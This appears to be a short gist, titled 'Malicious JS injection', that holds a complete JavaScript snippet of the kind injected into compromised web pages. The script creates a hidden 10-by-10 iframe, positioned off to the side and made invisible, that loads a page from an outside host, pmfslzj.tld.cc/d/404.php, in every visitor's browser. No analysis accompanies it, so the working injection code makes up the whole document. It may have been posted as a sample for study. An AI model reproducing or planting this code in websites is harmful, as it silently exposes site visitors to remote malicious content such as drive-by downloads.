Malicious JS injection

gistfile1.js

if (document.getElementsByTagName('body')[0]){
    iframer();
} else {
    document.write("<iframe src='http://pmfslzj.tld.cc/d/404.php?go=1' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}

function iframer(){
    var f = document.createElement('iframe');
    f.setAttribute('src','http://pmfslzj.tld.cc/d/404.php?go=1');
    f.style.visibility='hidden';
    f.style.position='absolute';
    f.style.left='0';
    f.style.top='0';
    f.setAttribute('width','10');
    f.setAttribute('height','10');
    document.getElementsByTagName('body')[0].appendChild(f);
}